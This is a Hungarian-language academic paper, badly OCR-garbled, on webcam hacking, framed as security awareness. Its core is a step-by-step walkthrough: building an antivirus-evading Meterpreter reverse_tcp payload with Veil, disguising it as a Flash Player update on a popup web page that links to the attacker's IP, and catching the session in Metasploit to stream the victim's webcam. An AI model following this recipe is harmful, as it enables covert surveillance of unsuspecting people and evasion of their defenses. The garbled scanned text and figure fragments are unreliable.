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Absztrakt

A jelenlegi nemzetkézi és hazai eseményeket
tekintve, egyre er6sédé az informatikai
Szakteriilettel kapcsolatos tevékenységek
szama, valamint jelent6sége. Figyelemfelkelté
példaul a 2016-os amerikai elnbkvalasztas
nem bizonyitott, mégis a CIA jelentésekbdl is
megalapozott orosz hacker miiveletek
végrehajtasa. Vagy csak a magyarorszagi
CEU iigy kapcsan okozott Dos tamadas az
origo ellen. Rendkiviil fontos az informatikai
biztonsag tudatossaganak oktatasa, nevelése,
mely igazi technikai illetve technologia
bizonyitasokkal szemléltethet6 és felhivjia a
kibervédelem, informatikai biztonsag, illetve
elektronikus informacioébiztonsag szerepét
mind hazai, mind nemzetkbzi vonatkozasban.
Eppen  ezért a  publikacio, mint
részteriileteként specifikusan a web kamera
hackelést taglalja, mint specifikus kontextust
kiemelve ebbdl a tag szakteriiletbdl.

Kulcsszavak: webkamera, hack, exploit,
payload

Abstract

In terms of current international and domestic
events, the number and significance of IT
operations are increasing. For example the
2016 US presidential election where CIA
reports are conducting robust Russian
hacking operations. Or just because of the
CEU case in Hungary caused Dos attack
against origo. It is important to educate
awareness of IT security, presenting technical
and technical evidence, and calling for the
role of cyber security, information security and
electronic information security both
domestically and internationally. For this
reason, this publication as a subfield
specifically analyzes a web camera hacking
as a specific context highlighted in this wide
field of expertise.
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BEVEZETES

Fontos, hogy iddben, s6t még térben is elhelyezziikk a vizsgalt témakdrt, hisz olyan
szakteriiletet dlel fel, mely rengeteg ember szamara még idegen, szamos szakmai atfedéssel és
még mindig jelentds tematikai nézetkiilonbségekkel. Ezen feliil, olyan technologia alapokra
tamaszkodoé tudomanyag, melyet a mai vilagban a legnagyobb iitemi fejlédés jellemez. (A
Nemzeti Ko6zszolgalati Egyetem fobb kutatasi teriileteinek iranyai, témakorei is tartalmazzak
a szerz6 altal vizsgalt teriiletet. [1]; [2] Ebbdl kifolyolag néha elfogadnak tematikai
nézopontokat, de nem példa nélkiili, hogy a fiatalabb generacido ezt mashogy latja, és
alkalmazza, szamtalanszor hatékonyabban. A technikai fejlédés gyorsasaga, pedig rendkiviil
valtozékony, flexibilis teriiletet eredményez, mely technologiai szempontbdl hihetetleniil
széles spektrumot rajzol ki. Ennek révén érzem sziikségesnek feltiintetni az datumot, hisz
elképzelhetd, sot valdszini, hogy a jovoben az altalam kihasznalt sériilékenységet javitjak, igy
ez altal legfeljebb maga az eljards metodikaja kovethetd és elemezhetd, de a tdmadas
miivelete nem az elvart eredményt produkélja. Leszogezem e fent megjelenitett datum
idejében tobb aldozat szamitogépen is végrehajtva a miiveletet, Windows Denfender ‘és
bizonyos virusirtok folyamatos futdsa mellet is sikeresen végrehajthatd a web kamerak tavoli
elérésii bekapcsolasa és a videdanyagok rogzitése. Windows XP, VISTA, 7,8,8.1,10
2operéci(')s rendszerek alatt.

A fentickben leirt témakdr az Informatikai biztonsag, azaz az Elektronikus
informaciévédelem, illetve masik nevén Kibervédelem, de hogy pontositsam a nem szabalyos
megfogalmazast Hackelés®. Sorolhaté lenne még kiilonféle jelzokkel a vizsgalni kivant
szakteriilet. A nevesitett behatarolast kompetensebb emberekre bizom, a publikdcioban, a
tovabbiakban szakmai szemmel egy teszt Iépéseit kivanom feltarni, és elemezni azt.
Természetesen a muvelet elOtt tisztdzni szeretném az aktualitast, az okokat, a miérteket,
valamint ezen felil a végrehajtas soran felhasznalt eszkozoket, szoftvereket. Végiil az
eredmények Osszegzését €s a konkluziok levonasat kivanom kifejteni.

AKTUALITAS, OKOK

A New York Times (www.nytimes.com/news-event/russian-election-hacking) és szamos
nemzetk6zi informacié és publikalasok hirdetik napjainkban, hogy a 2016-0s Amerikai
Egyesiilt Allamok elnokvélasztast adatok és tények elferditésével hamisitisaval hajtottak
végre. [3] Az egyik jelolt elényés pozicidba keriilése, s6t gy6zelme volt a cél, melyet
informatikai rendszerek segitségével értek el az erre torekvok. Valoszinisitik, hogy orosz
befolyas és tevékenység allhat az informatikai adatokhoz kapcsolodo miiveletek hatterébe. S6t
az alabbi idézet szerint hivatalos tényként ezt kezelni:

“Az  Egyesiilt Allamok feloldotta a titkositist a hirszerzés anyagain az orosz
hackertamaddasokkal kapcsolatban. Mar régota hangoztattak, hogy az tamadasok
Oroszorszagbol indultak, amit Donald Trump még a nap sordn, januar 6-dn adott
interjujaban is tagadott. Mig a megvalasztott elnok "politikai boszorkanyiildozésnek" nevezte

! Windows Defender teljes kori védelmet biztosit a kartevokkel szemben. A kartevo programok virusok,
kémprogramok és egyéb kéretlen szoftverek.

% Microsoft cég éltal forgalmazott operacios rendszerek adott tipusai

¥ A hack sz6 mai jelentése valosziniileg az amerikai MIT egyetemen elkovetett diakcsinyekbél ered. Az
informatikai teriileten megkiilonboztetnek tobb hackercsoportot, de végsé soron mindegyik az informatikai
biztonsaggal foglalkozik. Az ilyen folyamatot nevezik hackelésnek
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az tigyet, a hirszerzes kiadott egy 15 oldalas tanulmanyt, ami bizonyitja: Viagyimir Putyin
elnok tamado kampanyt inditott a 2016-os amerikai elnékvalasztas ellen.

A tanulmdany kimondja: "Viagyimir Putyin orosz elndk rendelte el a 2016-0s amerikali
elnokvalasztas elleni kampanyt. Oroszorszag célja az volt, hogy aladassa az amerikai
demokratikus folyamatokba vetett bizalmat, ragalmazzak Hillary Clintont és csokkentsék a
megvalasztasanak esélyet.”

A tanulmany részletezi, hogy hogyan vitték végig az oroszok a tervet, kezdve a Demokrata
Partkongresszus meghackelésével, amit a hirszerzés az orosz kormdnyhoz kotott, egészen a
propaganda és dlhirek terjesztéséig.”[3]

Az aktualitas alatamasztasara tovabbmenve egy régebbi példat kivanok megemliteni, mely
szorosabban kapcsolodik web kamera hack-elés gyakorlati vizsgalatomra, és nagymértékben
inspiralt a konkluzidk levondsdban. Ez nem mas, mint az a bizonyos ,,Snowden tigy”.

A fent emlitett igy konkrétabban egy személy, Edward Joseph Snowden. 1983-ban sziiletett
az Amerikai Egyesiilt Allamokban, ahol szamitogépes szakemberként dolgozott az amerikai
Nemzetbiztonsagi Ugynokségnél (NSA), valamint a Kozponti Hirszerzé Ugyndkségnél
(CIA). Majd 2013 majusaban, hossza egyeztetések utdn bizonyos jsagiroknak szivarogtatott,
hozott nyilvdnossagra, olyan szigoruan titkos dokumentumokat, informaciokat, melyek
bizonyitjdk, hogy az amerikai titkosszolgalatok megfigyelik az emberek mobiltelefonos
illetve internetes tevékenységét mind az Amerikai Egyesiilt Allamokban mind a vilagon
globalisan. A kovetkezd kémprogramok létezését ¢s mikddését hozta nyilvanossagra:

— PRISM;*

— NSA telefonhivas-adatbazis;

— Boundless Informant’;

— Tempra, a brit titkosszolgalat hasonld kémprogramja.

Snowden az informaciokat HongKong-ban hozta nyilvanossagra, de itt fontolgattak

kiadasat, igy Oroszorszagba menekiilt, ahol ideiglenes menekiiltjogot és 3 évig ideiglenes
tartozkodasi engedélyt kapott. Majd ebben az évben 2017. januar 18-a4n kozdlte az orosz
allam, hogy tijabb két évvel meghosszabbitottak az ideiglenes tartozkodasi jogat.[4]
Folytatva a felfiizott gondolatmenetet, nem kell nemzetkozi illetve globalis kitekintés annak
felismerésére, hogy hacker miiveletek olyan politikai és gazdasagi valamint tarsadalmi
eseményekkel is Osszekothetd vagy felhaszndlhatd, amely egyik legfontosabb képzési és
képességi szaktertileté teszi napjainkban.

2017. aprilis a Magyar Korméany CEU °térvényként emlegetett torvénymodositast fogadott
el, mely e publikidcid6 szempontjabol elhanyagolhatd, és partatlan nézOpontbdl vald
vizsgalatokat készit el. Viszont ez az esemény Oridsi megosztast eredményezett hazai és
nemzetkozi emberek Osszességében. Az esemény leirdsat, és a hattér informacidkat nem
kivanom megosztani, hisz a publikaci6 témdja teljesen mas iranyvonulatot hivatott
kibontakoztatni. Viszont egy jelentds, gyors reagalast valtott ki az informatikai tudassal
rendelkez6 személyekbdl is. A Magyar Nemzet ¢s még rengeteg nyomtatott illetve internetes
sajto jeleniti meg azt, hogy ,,Meghackelték az Origor”. [5]

* Egy program neve melyet az NSA Internet adatok gyiijtésére hasznalt, kilenc f5 Internet szolgaltatd cégtol.
® Adat analizalo program. Az NSA globalis szinten alkalmazott szoftvere az adtok kezelésére.
® Central Europe University
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AnonymousHUN | 2017.04.13. 08:38:24

Nem tagitunk innen, amig az origo ki nem vonszolja magat a kormanypéartok végbelébdl, és az egész
putyinista propagandaoldal be nem zarja kapuit. Koszonjilk, hogy szerdan vellink vonultatok, itt
minden olyat megtaléltok a tiintetésrdl, amit az origo elhallgat: -> http./bit ly/2p8IA61 <- Es ne
feledjétek, egyitt nagyon erések vagyunk! Még taldlkozunk! ;)

AnonymousHUN | 2017.04.13. 08:37:44

Nem tagitunk innen, amig az origo ki nem vonszolja magat a kormanypartok végbelébdl, és az egész
putyinista propagandaoldal be nem zérja kapuit. K6sz6njilk, hogy szerdan vellnk vonultatok, itt

minden olyat megtalaltok a tiintetésrdl, amit az origo elhallgat: -> http./bit.ly/2p8IA61 <- Es ne
feledjétek, egyitt nagyon er6sek vagyunk! Még talalkozunk! ;)

AnonymousHUN | 2017.04.13. 08:37:09

Nem tégitunk innen, amig az origo ki nem vonszolja magat a kormanypértok végbelébdl, és az egész
putyinista propagandaoldal be nem zérja kapuit. K&szonjiik, hogy szerdan veliink vonultatok, itt

minden olyat megtalaltok a tiintetésrl, amit az origo elhallgat: -> http./bit.ly/2p8IA61 <- Es ne
feledjétek, egyutt nagyon erések vagyunk! Még taldlkozunk! ;)

1. abra Origo elleneni hacktamadas kovetkezménye[6]

A fent megjelent cikkben a kovetkezd olvashato:

,, Nem tagitunk innen, amig az origo ki nem vonszolja magat a kormanypartok végbelébol,
és az egész putyinista propagandaoldal be nem zarja kapuit” — ezzel a szoveggel kezdddott a
kormanyparti hirportal 6sszes cikke alatt ugyanaz a t6bb tucat, helyeként tobb szdz komment.
Az AnonymusHUN néven, a kommentek szamabol és intenzitdsabol adodoan vélhetden
automatikusan, botokkal irt hozzaszolasok szerda €jszaka jelentek meg a portal cikkei alatt, de
még csiitortokon kora hajnalban is sorra ¢lesedtek — sztrta ki az Index.

A kommentek szerzdje azt kifogasolja, hogy a portal a szerdai esti, a civiltorvény
modositasa és a CEU-térvény miatt rendezett fovarosi demonstraciorol csak érintdlegesen
szamolt be.

Az Origo reggel tobb cikk alatt is letiltotta a hozzaszolasokat, ezeknél jelenleg azt irjak, ,.ez a
cikk nem kommentelhetd”.[6]

A téma aktualitdsat és naprakészen vald igényét, egy sekélyesebb, tarsadalmilag is
felszinesebb bizonyitassal kivanom lezarni. Napjainkban szinte mindenki hallott azokrol az
eseményekrol, ahol hirességeknek torték fel vagy szamitogépiikon, vagy telefonunkon a web
kamerakat. Ezaltal személyes fényképekhez, videdkhoz juttatva a célkozonséget, aki ezekben
a konkrét ez esetben az egész vilag.
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Ezek az ugynevezett leaked’ fényképek, melyek rengeteg hirességrél kikeriilt személyes
képek halmazat takarja, melyet valamilyen sériilékenység réven sikeriilt beszerezniiik a
hackereknek. Egy gyants link vagy kémprogram futtatdsaval eredményesen kapcsoltak be
tavolrol az eszkozok web kamerait, és vagy stream® formajaban vagy snapshotok9
segitségével kompromittalé anyagokat szereztek be, majd tették ezeket kozzé az Interneten'®,
Egy ilyen cikk a szamos koziil: http://www.dailyedge.ie/emma-watson-photos-hacked-
3289934-Mar2017/  Valerie Loftus Mar 15th 2017, 8:34 PM [7]

Mivel mind a négy hivatkozas jelent6sen kihat tarsadalmi, politikai, és maganéletiinkre
véleményem szerint egyik legfontosabb teend6k megérteni és atlatni az e mogott huzodo
technikai illetve technologia megoldasokat. Ezek utdn pedig természetesen a védelme
kérdéskorére Osszpontositva megtaldlni a lehetséges megoldasokat az ilyen események
bekovetkezésének lecsOkkentésére, elkeriilésére. A fenti példakban egyértelmiien
kirajzoldodik, hogy nem csak egyszemélyes kivancsi embereket kell elképzelniink a timadok
alakjaban, hanem orszagos erre a célra Iétrehozzon szakmai csoportokat, akik adatbazis
formaban kivanjak beszerezni a legtobb informéciodt életiink legrészletesebb szegmenseirdl is.
Ebbdl eredden a tdmadasok és védekezések elemzésén tul a kdvetkezd legnagyobb feladat, az
informatikai biztonsagra vald nevelés, oktatas, mely megfelelé alapot nyujt felhasznaloi
szinten is az adatok, vallalati valamint személyes védelmére.

A fentiekben felsorolt aktualis kibertimadasok kapcsan, fontos észrevenni a technikai
eszkozokbe épitett kamerdk sériilékenységét. Ezek mind munkahelyi mind magénéleti
teriiletekre kihatast gyakorolhatnak, melyek komoly kovetkezményekkel is jarhatnak. A
legtobb szamitdstechnikai eszkozben mar beépitve taldlhatdé a webkamera, amely magas
mértékben noveli az informatikai tamadasok kockazatat. Ezen tdmaddsok megértése
érdekében, meg kell vizsgélni, le kell szimuldlni és ki kell elemezni a tdmadasi metddus
folyamatat. A kovetkezd fejezetben ezeket a mérések, modellezések, valos végrehajtas és
annak eredményi keriilnek ismertetésre

TESZT SORAN ALKALMAZOTT SZOFTVEREK

A cikk jelen fejezetében bemutatéasra keriil egy olyan webkamera hack modszer melynek
segitségével maga a tdmadasi mechanizmus a Windows Defender és az elavultabb Virusirt6
programok el6tt is rejtve marad. Ezt a modszert a szerz6 végrehajtja, illetve megvizsgalja. A
teszt soran alkalmazott legfontosabb szoftverek:

— Kali Linux

— Metasploit

— Veil framework

" Tiikérforditasban rés, hézag. A szvegben a kiszivarogtatott képekre utal.

® Adatfolyam, 4ltalaban vide6 alapu é16 kdzvetitéseknél hasznalatos fogalom

% Egy rendszer vagy adathalmaz egy adott pillanatban érvényes allapotat rogzité mentést. A publikacié
kontextusaban kép alapt pillanatfelvétel.

10 Halozatok halozata, globalis halozat
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Kali Linux

Legrovidebb meghatdrozasa: operacios rendszer. 2013. marcius 13-d4n adtdk ki ez a
backtrack5 tovabbfejlesztett valtozata, Debian 'alapokon. Penetration '%és biztonsagi
tesztekre hasznalhat6. A Kaliban megtalalhat6 szinte mindegyik program, ami a Backtrackben
is volt, halozati biztonsagi tesztelé programok, kezdve, a proxy'®, fuzzer', crawler'®, minden,
ami sziikséges a biztonsagi rések teszteléséhez hackeléshez. A BackTrack egy Debian Linux
alapu, szamitdégépek sebezhetdségével foglalkozd, teljesen ingyenes operacids rendszer.
Nevét a backtracking keres6é algoritmus utan kapta. Hackerek és biztonsagi szakemberek
korében nagyon népszeri. Operacidos rendszerek (jellemzéen Microsoft Windows)
sebezhetOségeinek felderitésére ¢s kihasznaldsara alkalmas. Rengeteg sikeres betorést
hajtottak vele végre szerte a vilagon. Els6 helyen all, hisz tovabbiakban targyalt tesztekhez ez
lesz a tamado szamitogép operacios rendszere. [8]

Metasploit

A Metasploit egy Penetration tesztelésre kifejlesztett nyilt forraskodu platform, melynek
segitségével hardveres vagy szoftveres sériilékenysége, informatikai biztonsagi rések
vizsgalhatoak, kihaszndlhatdak. Ezaltal eldidézhetd az alapvetd iizemi allapottol vald eltérd
milkddtetése az informatikai eszkzoknek. Szdmos modszert beleértve altalanossagban itt
ezek a folyamatok a rendszergazdai jogosultdg megszerzésére vagy szolgaltatas
megtagadasara iranyulnak (DoS™). A Metasploit projekten beliil - amely a fentiekben leirt
funkcidkat biztositja — a Metasploit Framework —mint alprojekt - teszi lehetévé az Exploitok®’
elkészitését ¢s futtatasat.

Az Exploit egy olyan forraskodot, programot vagy parancssorozatot jelent, mely alkalmas
a biztonsagi rések kihasznalasra. Ezen feliil Payload-nak™® nevezik az a kodhalmazt, amit az
Exploit-hoz csatolnak és a megfelelé jogosultsag megszerzése kovetkeztében lefut. Altalaban
egy Exploit egy sériilékenységet képes kihasznalni. A legtobb esetben az Exploit
nyilvanossagra hozatala utdn a szoftver gyartdja egy javitast, patch-et ad ki a tdmadhato
programhoz. Ezek utan az adott sériilékenységnek kihasznaldsa mar nem vezet

' A Debian elnevezés egy gyiijtéfogalom. A tobbség azonban a népszerti Linux-disztribuciot érti rajta, aminek a
helyes megnevezése Debian GNU/Linux, ezzel is jelezve, hogy az adott rendszer a Linux kernelt és nyilt
forraskodu, szabad felhasznalast (GNU licenc alatt publikalt) szoftverek egyiittesét hasznalja.

12 Tiikérforditasban behatols, informatikai szaknyelvben a szamitogépbe valo betorés teszteknél hasznalatos
definicio

3 Olyan szerver (szamitogép vagy szerveralkalmazas), amely a kliensek kéréseit koztes elemként mas
szerverekhez tovabbitja. A kliens csatlakozik a proxyhoz, majd valamilyen szolgaltatast (fajlt, csatlakozast,
weboldalt vagy mas erdforrast) igényel, ami egy masik szerveren taldlhat6. A proxy szerver a kliens nevében
eljarva csatlakozik a megadott szerverhez, és igényli az er6forrast a szamara.

Y Automatizalt szoftvertesztelési technika, amely magaban foglalja az érvénytelen, véaratlan vagy véletlenszer(i
adatok bevitelét egy szamitogépes program bemeneteként.

1> Olyan internet bot, amely szisztematikusan bongészi a World Wide Web-t, jellemzéen a webes indexelés
céljabol.

1® Egy szamitogépes tamadas, ahol az elkdveté az internetre csatlakozo gazda szolgaltatasainak ideiglenes vagy
végtelenségig torténd megszakitasat célozza meg.

17 Sériilékenységet, vulnerability-t kihasznalo program, programkod, 4ltalaban a célja, hogy informaciot
szivarogtasson, a payload-ot lefuttassa, vagy a célpontot megbénitsa.

18 Az exploit része, a hacker altal futtatni kivant programkédot tartalmazza.
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miikodéképességre. Ez az oka annak, hogy a black-hat hackerek '*4ltalaban nem, vagy csak
més crackerek®® szamara teszik hozzaférhetévé Exploit-jaikat. Az ilyen Exploit-okat (illetve
amelyek ellen még nem késziilt biztonsagi javitas) nulladik napi tdmadasnak nevezik. [9] Az
ExlIpoit-okat két csoportba soroljuk be:

— aktiv (konkrét szamitogépre specializdlodtak, programkod befejezésénél kilépnek,
példaul a brute force ' metédusok amint megnyilt egy shell® az 4ldozat gépérol, ugy
kilépnek)

— passziv (itt az Exploit-ok varjak a szamitdégépeket, és amint csatlakoztak rajuk
végrehajtigk a miiveleteket. Féleg FTP?®, E-mail kliens és Web bongészd
munkaallomasokra fokuszalnak.) [9]

Veil Framework

Olyan Metasploit Payload-okat tudunk generalni vele, amiket a legtobb virusirté nem tud
felismerni. A programban jelenleg 26 féle modszer van implementalva. A program elinditasa
utan egy jol megszokott “keret rendszerforma” fogad benniinket.[10]

Ezek a parancsok allnak a rendelkezésiinkre:

use Egy meghatérozott Payload hasznalata. (pl. use 3)

info Informaciok egy megadott Payload-rol. (pl. info 22)

list Kilistazza az 6sszes elérheté Payload-ot.

update Frissiti a Veil az elérhetd legfrissebb verziora.

clean Kiiiriti a Payload mappat.

checkvt  Leellenérzi, hogy VirusTotal**-on fent vannak-e a Payload-ok hash?>-jei.

exit Bezarja a Veil-t. [8]

WEBCAM HACK — PENETRATION TESZT

Kezdetben eldszor is le kell szogezni a hasznalt operacids rendszereket, szoftvereket, valamint
magat a halozati kornyezetet. A tdmadd szamitogép szerepét egy Kali Linux operacios
rendszert futtatd Laptop latja el, melyen a mar gyarilag hozzaadott Penetration teszteléssel
kapcsolatos szoftvereken kiviil, a Veil keretrendszer feltelepitését is végrehajtasra keriilt. Az
aldozat gépet, gépeket tobb operacids rendszerrel kisérletezve lettek kiprobalva kezdve a
Windows 7, Windows 8.1 és bezarva a sort a Windows 10-es verziokkal. A kartevo szoftvert
bejuttatasa web alapon lett elékészitve, igy a Linux rendszeren egy Apache web szervert is
fut, ahol publikalasra keriil egy teszt .php oldalt. Ebben az oldalban lesz elrejtve egy
AdobeFlash.exe nevezetli fajl, amely letoltéskor €s futtatdskor megnyitja a Meterpreter
session-t az aldozat gépére. A Veil AES titkositott Reverse-tcp folyamat segit a Payload-ot,

9 A 'rosszfiuk', szintigy biztonsaggal foglalkozo emberek, akik nem feltétleniil jora hasznaljak fel a 'kutatasi
eredményeiket' - vagy eladjak a legtobbet fizeto ajanlattevonek, vagy kihasznaljak a hibat a sajat céljaikra.

2 A crackerek elsésorban a rombolas élvezetéért tevékenykednek, vélt vagy valos sérelmeikért allnak bosszat
latvanyos, hirekbe keriil6 akcidkban.

2 A teljes kiprobalas modszere, egy, a titkosité rendszerekkel szemben alkalmazott timadasi méd, ami elvileg
mindig eredményes.

22 parancssor, konzol, mely hozzaférést ad az operacios rendszerhez egy szoveges kezeléfeliileten keresztiil.
% File Transfer Protocol — Fajlatvitelre hasznalt szabvéany

% A VirusTotal szamos virusirté terméket és online keresémotort tartalmaz, hogy ellendrizze a virusokat.

% QOlyan informatikaban hasznalt eljarasok, amelyekkel barmilyen hossziisagu adatot adott hossziisagra
képezhetiink le. Az igy kapott véges adat neve hash/hasito érték.
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olyan allapotban megirni, hogy azt a virusirté programok ¢és a Windows Defender nem
ismerje fel, ne figyelmeztessen futtataskor.

1. A Kali-ban a Terminal ablakot megnyitva futtatasra keriil a ,,veil-evasion” parancsot,
mely behozza a keretrendszert, amely az Payload-okat kiilonb6z6 paraméterek
segitségével Perl programozo6 nyelvben megadott utasitasok alapjan legeneralja azt. A
keretrendszer rengeteg variacios Payload-ot tamogat a kivitelezés fiiggvényében,
ahogy ezt a 2. dabra is szemlélteti. Jelen tamadadsban a 49.-es szamu
,ruby/meterpreter/reverse_tcp” keriil végrehajtasra. Mely egy visszaforditott tcp
kapcsolatot fog engedélyezni az aldozat szamitogépén. Ezt a ,,use 49” parancs
kiadéasaval hajthat6 végre.

root@Kkali: ~ (- °I
Fajl Szerkesztés Nézet Keresés Terminal Sugo

2. abra Veil keretrendszer kilistazott payload-jai (sajat szerkesztés)

A 3.-as abran lathato, hogy betolti a Payload-ot, majd be kell allitani a Metaspolitot
kezeld szamitogép IP cimét €s a kapcsolatra hasznalni kivant portjat. Ezeket az

“set LHOST <az adott IP cim: tesztemben 192.168.0.12>" és az

“set LPORT <az adott portszam. tesztemben 6996>" parancsok kiadasaval keriil
beallitasra.

A kovetkezokben mar csak az opcionalis beallitdsokat sziikséges teljesiteni és
legeneralni azt a ,, generate” parancs segitségével.

Amint ezzel a miiveletsor lezarul, szintén legeneralasra keriil egy hasonlo Payload,
viszont itt mar a 35-0s sorszamu ,,python/shellcode injcet/aes-encrypt” valtozot
hasznalva az el6zbleg legeneralt ,,reverse_tcp shellcode-ba”egy AES titkositast
injektalva az Exploitot a Windows Defender és szamos virusirtd program szamara
nem detektalhato téve. Ezaltal a szamitogép nem jelez, amint az .exe f3jlt futtatja
valaki, kinyitva a tdmado gép felé a mar megadott portszdmot. Természetesen €z
esetben is be kell allitani a tAmadd szamitogép IP cimét valamint portszamat. Ezen
feliil egy paramétert sziikséges beallitani mindkettd Exploit esetében, mégpedig a
nevét. Fontos kiemelni a név valasztdsanal, hogy gyanutlan, vagy mindennapos
hasznalat esetén is el6forduld név legyen. A tesztelés soran a Flashpalyer.exe kertil
megadasnak az Exploit-nak. Felhivom a figyelmet, hogy a tovabbiakban a Flashplayer
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széleskorli  ismeretét, bongészOk esetében kdvetelmény
kihasznalasra az Exploit bejuttatasara illetve futtatasara.

root@kali: ~
Fajl Szerkesztés Nézet Keresés Terminal Sugéd

d: ruby/meterpreter/rev_tcp 1

Required Options:

root@kali: ~
Fajl Szerkesztés Nézet Keresés Terminal Sugo

s [enter] fo
[tab]

_[*] Generating shellcode...

tulajdonsagat  kertil

4, abra Payload generalasa exploit .exe fajlokba (sajat szerkesztés)

2. Kész a titkositott Payload-al rendelkezé Exploit, melynek fajlkiterjesztése .exe. Az
aldozat gépére mindenképpen ugy érdemes bejutatni az Exploitot, hogy az ne keltsen
gyanut. Tobbféle megoldas létezik, mint példaul a hamisitott e-mail, pendrive-on
keresztiil stb. Web szerveren keresztiili gyanttlan letdltést valasztottam. gy mint az az
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5-0s €és 6-os abran is lathato elinditasra keriilt a Kali-n az Apache2 web szerver
szolgaltatast, majd .php fajlban egy alapvetd oldalt késziilt el. A .php kodot
kiegészitetésre keriilt egy felugré ablak Javascript-el. Ez azt eredményezi, hogy az
oldal megnyitdsa esetén automatikusan felugrik egy ablak, mely figyelmeztet az
Adobe Flash Player komponens elavultsagara és felajanlja a letoltést. Rékattintva a
letoltésre, és elinditva a fajlt, mindenféle jelzés nélkiil kiépiil a kapcsolat az aldozat és
a tamado gép kozott az adott porton. (A virusirtd és a Windows Defender valamint
tlizfal nem jelez!)

Feltéve, ha a timadod gépen elinditottuk a lentiekben targyalt 3. 1épést.

root@kali: ~ e ® 0
Fajl Szerkesztés Nézet Keresés Terminal Sugd

:~# service apache2 start

‘;D

5. abra Apache2 web szerver szolgaltatas elinditasa (sajat szerkesztés)

<header>
<div class="header-content">
<div class="header-content-inner">

<hl id="homeHeading">Your Favorite Source of Free Bootstrap Themes</hl>

<hr>

<p>5tart Bootstrap can help you build better websites using the Bootstrap C55 framework! Just downleoad your template and

<a href="http://192.168.0.12/flashplayerl.exe" class="btn btn-primary btn-x1 page-scroll"=Flash Player letdltése</a>
<input type="button" value="Flash Player" onclick="window.open('http://192.168.0.12/flashplayer.exe')">

</button>
</div>

6. abra .exe bedgyazasa a .php felugr6 ablakaba (sajat szerkesztés)

® 192168012

cok - O

Flash Player” is out-of-date’

7. abra Felugré ablakba agyazott FlashPlayer-nek alcazott exploit (sajat szerkesztés)

Az weboldal publikalasa utan, elinditasra keriil a Metaspolit programot, majd a
kovetkezd parancsok begépelésével be kell varni a reverse tcp adott IP cimen és
porton valo kezelését, azaz a kapcsolat 1étrejottét, valamit magat a kihasznalast,
kiaknazast:

L use /multi/handler”

,,set LPORT <portszam: testelésemben 6996>"

,set LHOST <IP cim: teszteléesemben 192.168.0.12>"

,,exploit”
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Terminal @ ® 0

Fajl Szerkesztés Nézet Keresés Terminal Slgo

8. abra Metspolit segitségével az exploit végrehajtasa (sajat szerkesztés)

4. Az Adobefalshplayer.exe aldozat feldli futtatasa, ¢s a tdmado feldli Exploit futtatdsa
soran kiépill a kapcsolat, és Meterpreter rengeteg lehetdséget kinal fel. Az
adminisztratori jogok atvétele az dldozat szamitogépe feletti lehetdségen keresztiil a
rajta 1évé adatok masolasdig, torléséig, feliilirasaig, a web kamera és mikrofon
opciokkal bezardlag.

F4jl Szerkesztés Nézet Keresés Termindl Sugo
e eSull

9. abra Meterpreter altal felkinalt opciok (sajat szerkesztés)

5. A ,,webcam stream”-et kivéalasztva elinditani az aldozat gépén 1évé web kamerat.
Lathato, hogy az ¢l6 vide6 stream a tamadd Linux gépen nyilik meg egy HTML
ablakban, mig az aldozat gépei Windows XP-t61 Windows 10 operécids rendszerig
mikdodik.
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KOVETKEZTETESEK

A publikacioban taglalt témakor aktualitdsa megkérddjelezhetetlen, hisz az IoT vilagaban
kihat életiink minden szegmensére. Csakugy, mint a maganéletre, gy a nemzetkdzi, hazai
politikai életre, és tarsadalmi ¢€let szerepkdreire is egyre nagyobb teret nyerve meghokkentd
hatast gyakorol. Ezen tilmenden személyiségjogi kérdéskordket, és teriilet behatarolasi
kérdéseket is felvet, mely fokozottan bonyolultta teszi az informatikai biztonsag vagy kiber
miveletek szaktertiletét.

Meglatasom szerint, az ezzel kapcsolatos megfeleld oktatés, €s biztonsagtudat hirdetése és
gyakorlasa elengedhetetlen. A mai oktatdsi rendszer nincs felkésziilve, és nem helyes
tematikdval oktatja az informatikaval kapcsolatos tudasanyagot, egyértelmiien kozépiskolai
szinten is reforméciora van sziikség. Természetesen vannak erdfeszitések ennek iranydban, de
a folyamatos gyors fejlédése az informatikai szakteriiletnek csak ujabb hatranyokat képez,
mely ezeknek a torekvéseknek szintén akadaly. Konkluzioként mégis az allapithatdé meg,
hogy az informatika mind az oktatas, mind a munkafolyamatok, és miiveletek terén az idével
¢s a naprakészen mindig az aktudlis, viszonylag modern technikai megoldasokkal szembeni
sz€lmalomharc fog jellemezni. Hasonloan a biztonsdggal kapcsolatos teriileten, ahol a
szakemberek nagy atlaga altal vallott nézépont, hogy 100%-os biztonsag nem létezik. Mégis
mindkettd szakteriileten torekedni kell a kornak megfeleld helytallast biztositani.

Ezeknek a helytallasoknak tesz eleget a technikai €s technologiai folyamatok vizsgalata,
megértése, és hasznalata mely biztositja a exponencidlisan megugré fejlodés kovetését.

Tudomanyos eredménynek tekintem a személyes Payload létrehozasat, mely minden
generalasnal olyan Perl alapu karaktereket tesz a Exploit payload-jaba, melyet igy egyedinek
lehet tekinteni és ezaltal a virusirtok és a tlizfal alapti megoldasok megkeriilhetdek. Fontos
megemliteni az Exploit-ok sériilékenységeket hasznalnak ki a rendszeren, melyeket az adott
rendszer kibocsatéi annak nyilvanossagra keriilésekor javitanak. Tehat a publikacidban leirt
metddus, jelenleg miikodoképes, de a késdbbiekben lehet nem az elvart eredményt fogja
produkalni. Ennek révén egy idézettel zarnam 0sszegzésemet:

., Keep in mind, though, that there is NEVER a single, final solution. The hacker must be
persistent and creative in finding ways past these devices, so if one method fails, try another,
then try another, unti/ you find one that works.” [10]

Ismeretlen szerzd

Mely lényege, hogy sosincs egy végsd megoldas. Egy hacker-nek kitartonak és kreativnak
kell lennie, hogy megtalalja az informatikai eszk6zokhoz vezetd kapcsolat modjat, és ha az
egyik nem vezet sikerre, addig kell probalkozni, amig az egyik miikodik.
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